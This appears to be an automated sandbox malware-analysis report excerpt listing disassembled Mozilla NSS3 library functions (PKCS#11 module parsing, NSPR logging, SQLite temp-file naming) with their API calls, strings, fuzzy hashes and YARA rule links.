String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c527bbbf0bcb5311fa6e30587dc731444bb1c001d28914708b2c87528472b326
Instruction ID: ad9e94779177bf30951cbd53921c4ab6627ee8244587de95f5ec04be86d20b0d
Opcode Fuzzy Hash: c527bbbf0bcb5311fa6e30587dc731444bb1c001d28914708b2c87528472b326
Instruction Fuzzy Hash: B06126E274D146C7D63C444C83BE36CA2E49743318FE089BFE2918EE51C2A4DA9947D3

Function 6C735DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C735E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C735E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C735E5C
free.MOZGLUE(00000000), ref: 6C735E7E
free.MOZGLUE(00000000), ref: 6C735E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C735EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C735EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C735ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C735EF0
free.MOZGLUE(00000000), ref: 6C735F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C735F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C735F5B
free.MOZGLUE(00000000), ref: 6C735F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C735FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C735FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C735FC4
free.MOZGLUE(00000000), ref: 6C735FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C735FE9
free.MOZGLUE(00000000), ref: 6C735FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C73600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C736027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C73605A
PR_smprintf.NSS3(6C80AAF9,00000000), ref: 6C73606A
free.MOZGLUE(00000000), ref: 6C73607C
free.MOZGLUE(00000000), ref: 6C73609A
free.MOZGLUE(00000000), ref: 6C7360B2
free.MOZGLUE(?), ref: 6C7360CE

Strings

readOnly, xrefs: 6C735E56
secmod.db, xrefs: 6C735EA0
pkcs11.txt, xrefs: 6C735F47, 6C735F7C, 6C73603A, 6C736053
forceSecmodChoice, xrefs: 6C735F55
%s/%s, xrefs: 6C736055
noModDB, xrefs: 6C735EEA
secmod=, xrefs: 6C735FB1
flags, xrefs: 6C735E3A, 6C735EC6, 6C735F30
configDir=, xrefs: 6C735F9D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 95df73f42f733ee279ffe59947f0bf4b706785b2a7afb27b552c3af5abc8a1bd
Instruction ID: c00c39f6fa30709ccc11baf0698be1d71016df31f1aa1cab1c104724248defad
Opcode Fuzzy Hash: 95df73f42f733ee279ffe59947f0bf4b706785b2a7afb27b552c3af5abc8a1bd
Instruction Fuzzy Hash: 89912BF5A042655BEB509F24EE4ABAA3BA8AF0524CF081430EC4D9BB43E735D514C7E2

Function 6C6C1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C6C1DA3

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C6C1DB2

Part of subcall function 6C6C1240: TlsGetValue.KERNEL32(00000040,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1267
Part of subcall function 6C6C1240: EnterCriticalSection.KERNEL32(?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C127C
Part of subcall function 6C6C1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1291
Part of subcall function 6C6C1240: PR_Unlock.NSS3(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6C1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C6C1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C6C1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C6C1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C6C1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C6C1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6C1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C6C1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C6C1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6C1F83
PR_SetLogFile.NSS3(00000000), ref: 6C6C1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C6C1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C6C1FCB
free.MOZGLUE(00000000), ref: 6C6C1FD2

Strings

append, xrefs: 6C6C1EE6
bufsize, xrefs: 6C6C1E9B
NSPR_LOG_MODULES, xrefs: 6C6C1DAD
NSPR_LOG_FILE, xrefs: 6C6C1F69
sync, xrefs: 6C6C1E46
all, xrefs: 6C6C1F0E
Unable to create nspr log file '%s', xrefs: 6C6C1FB3
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C6C1E27
timestamp, xrefs: 6C6C1EC4
, %n, xrefs: 6C6C1E6B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 6ca1f22af0bcb55b9de7849f97cbcc9f1935c0d1161f4b90582f5eda186bfac3
Instruction ID: 5b4720eaa01cf2c0709e592a2cd9175ba868b9143a6bd677ecf3a75db46eab3a
Opcode Fuzzy Hash: 6ca1f22af0bcb55b9de7849f97cbcc9f1935c0d1161f4b90582f5eda186bfac3
Instruction Fuzzy Hash: B6517EB1F042099BEF109BE5DD48B9E77B8EF05309F044928E819DBA41E774E518CB9A

Function 6C7A6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6BF9C9,?,6C6BF4DA,6C6BF9C9,?,?,6C68369A), ref: 6C65CA7A
Part of subcall function 6C65CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C65CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C66BE66), ref: 6C7A6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C66BE66), ref: 6C7A6E98
sqlite3_snprintf.NSS3(?,00000000,6C80AAF9,?,?,?,?,?,?,6C66BE66), ref: 6C7A6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C66BE66), ref: 6C7A6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C66BE66), ref: 6C7A6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C66BE66), ref: 6C7A6FA6
sqlite3_snprintf.NSS3(?,00000000,6C80AAF9,00000000,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C66BE66), ref: 6C7A701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C66BE66), ref: 6C7A7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C66BE66), ref: 6C7A7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C66BE66), ref: 6C7A70A0

Strings

winGetTempname1, xrefs: 6C7A708F
winGetTempname4, xrefs: 6C7A7046
winGetTempname2, xrefs: 6C7A70C4
P~l, xrefs: 6C7A70A8
mz_etilqs_, xrefs: 6C7A6F18
winGetTempname5, xrefs: 6C7A7071

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P~l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-251089326
Opcode ID: d7be5d6dea37e401a50179ad13b140706b879f68c73c77fe7686a5fb9bab0077
Instruction ID: 26abb1ca523ff12ab3234bbb4422b76e638cf68470b6983e329b4adb3a8e6fc1
Opcode Fuzzy Hash: d7be5d6dea37e401a50179ad13b140706b879f68c73c77fe7686a5fb9bab0077
Instruction Fuzzy Hash: 395199B2B041112BE31196B49D59FBB366A9F8730CF244B38E80596BC1FB25951FC2DB

Function 6C708E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C708E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C708EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C708EB3

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C708EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C708EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C708F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C708F29
PR_LogPrint.NSS3(?,00000000), ref: 6C708F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C708F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C708F80
PR_LogPrint.NSS3(?,00000000), ref: 6C708F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C708FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C708FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C709047

Strings

C_WrapKey, xrefs: 6C708E71
hSession = 0x%x, xrefs: 6C708E8E, 6C708E9E
pulWrappedKeyLen = 0x%p, xrefs: 6C708FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6C709042
pMechanism = 0x%p, xrefs: 6C708EE0
(CK_INVALID_HANDLE), xrefs: 6C708EAC, 6C708F1F, 6C708F79
hWrappingKey = 0x%x, xrefs: 6C708F01, 6C708F11
hKey = 0x%x, xrefs: 6C708F5B, 6C708F6B
pWrappedKey = 0x%p, xrefs: 6C708FAD
n~l, xrefs: 6C708FEC, 6C709023

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$n~l
API String ID: 1003633598-1673442385
Opcode ID: 6d20e1961be758c69dc25f07f580024f3b95b699dbc7c55d6b511565fa5b82e5
Instruction ID: 0904984fcee88dfdf2cadf6a16e5c193446a283652faa06ab8eac5bbcf1f24a5
Opcode Fuzzy Hash: 6d20e1961be758c69dc25f07f580024f3b95b699dbc7c55d6b511565fa5b82e5
Instruction Fuzzy Hash: CD51B372701105ABDB209F90DF4CF9E7BB6AB4630CF044825F9086BA12DB34A959DBD6

Function 6C734FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000,00000000,00000001), ref: 6C735009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C735049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C73505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C735071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7350A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7350B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2), ref: 6C7350CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7350D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7350F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735153
free.MOZGLUE(?), ref: 6C73516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C73517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C735195

Strings

nss=, xrefs: 6C735083
library=, xrefs: 6C735043
config=, xrefs: 6C73509B
parameters=, xrefs: 6C73506B
name=, xrefs: 6C735057

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 77a9cf10d074dcacf5d17c05b3d99de752662624254309316aa3bbb4faeaccfd
Instruction ID: e5225a48e78359360f66b8bd10aa146f93102d6eda34d0cc1e45274f9cf5ce95
Opcode Fuzzy Hash: 77a9cf10d074dcacf5d17c05b3d99de752662624254309316aa3bbb4faeaccfd
Instruction Fuzzy Hash: D951D8B5A011265FEB50DF24EE49AAF37A89F05288F140434EC1EE7742E729E915C7F2

Function 6C734C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734C5B
PR_smprintf.NSS3(6C80AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C724F51,00000000), ref: 6C734D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C734D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C734DA2
free.MOZGLUE(?), ref: 6C734DB9
free.MOZGLUE(00000000), ref: 6C734DCF

Strings

0x%08lx=[%s %s], xrefs: 6C734D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C734D9D
every, xrefs: 6C734CA1
any, xrefs: 6C734C96
ootT, xrefs: 6C734D1A
slotFlags, xrefs: 6C734D34
rust, xrefs: 6C734D22
%s,%s, xrefs: 6C734C4B
rootFlags, xrefs: 6C734D47
timeout, xrefs: 6C734C91

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: b2bc84f71085ca46149a95267a8525ed6c2f96e6aed81d1cad36d3790aaaaa3b
Instruction ID: 99f2364cfcfe462c4bdc7d7829269f7d5f9ea4c7acf00cdab1a461399766ac5c
Opcode Fuzzy Hash: b2bc84f71085ca46149a95267a8525ed6c2f96e6aed81d1cad36d3790aaaaa3b
Instruction Fuzzy Hash: 73417DB291015567EB225F149E4A6BA3E65AF8230CF444134EC1E1B703E736D924D7D3

Function 6C716CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C716910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C716943
Part of subcall function 6C716910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C716957
Part of subcall function 6C716910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C716972
Part of subcall function 6C716910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C716983
Part of subcall function 6C716910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7169AA
Part of subcall function 6C716910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7169BE
Part of subcall function 6C716910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7169D2
Part of subcall function 6C716910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7169DF
Part of subcall function 6C716910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C716A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C716D8C
free.MOZGLUE(00000000), ref: 6C716DC5
free.MOZGLUE(?), ref: 6C716DD6
free.MOZGLUE(?), ref: 6C716DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C716E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C716E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C716E72
free.MOZGLUE(?), ref: 6C716EA7
free.MOZGLUE(?), ref: 6C716EC4
free.MOZGLUE(?), ref: 6C716ED5
free.MOZGLUE(00000000), ref: 6C716EE3
free.MOZGLUE(?), ref: 6C716EF4
free.MOZGLUE(?), ref: 6C716F08
free.MOZGLUE(00000000), ref: 6C716F35
free.MOZGLUE(?), ref: 6C716F44
free.MOZGLUE(?), ref: 6C716F5B
free.MOZGLUE(00000000), ref: 6C716F65

Part of subcall function 6C716C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C71781D,00000000,6C70BE2C,?,6C716B1D,?,?,?,?,00000000,00000000,6C71781D), ref: 6C716C40
Part of subcall function 6C716C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C71781D,?,6C70BE2C,?), ref: 6C716C58
Part of subcall function 6C716C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C71781D), ref: 6C716C6F
Part of subcall function 6C716C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C716C84
Part of subcall function 6C716C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C716C96
Part of subcall function 6C716C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C716CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C716F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C716FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C716FF4

Strings

+`rl, xrefs: 6C716D0D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`rl
API String ID: 1304971872-1202522628
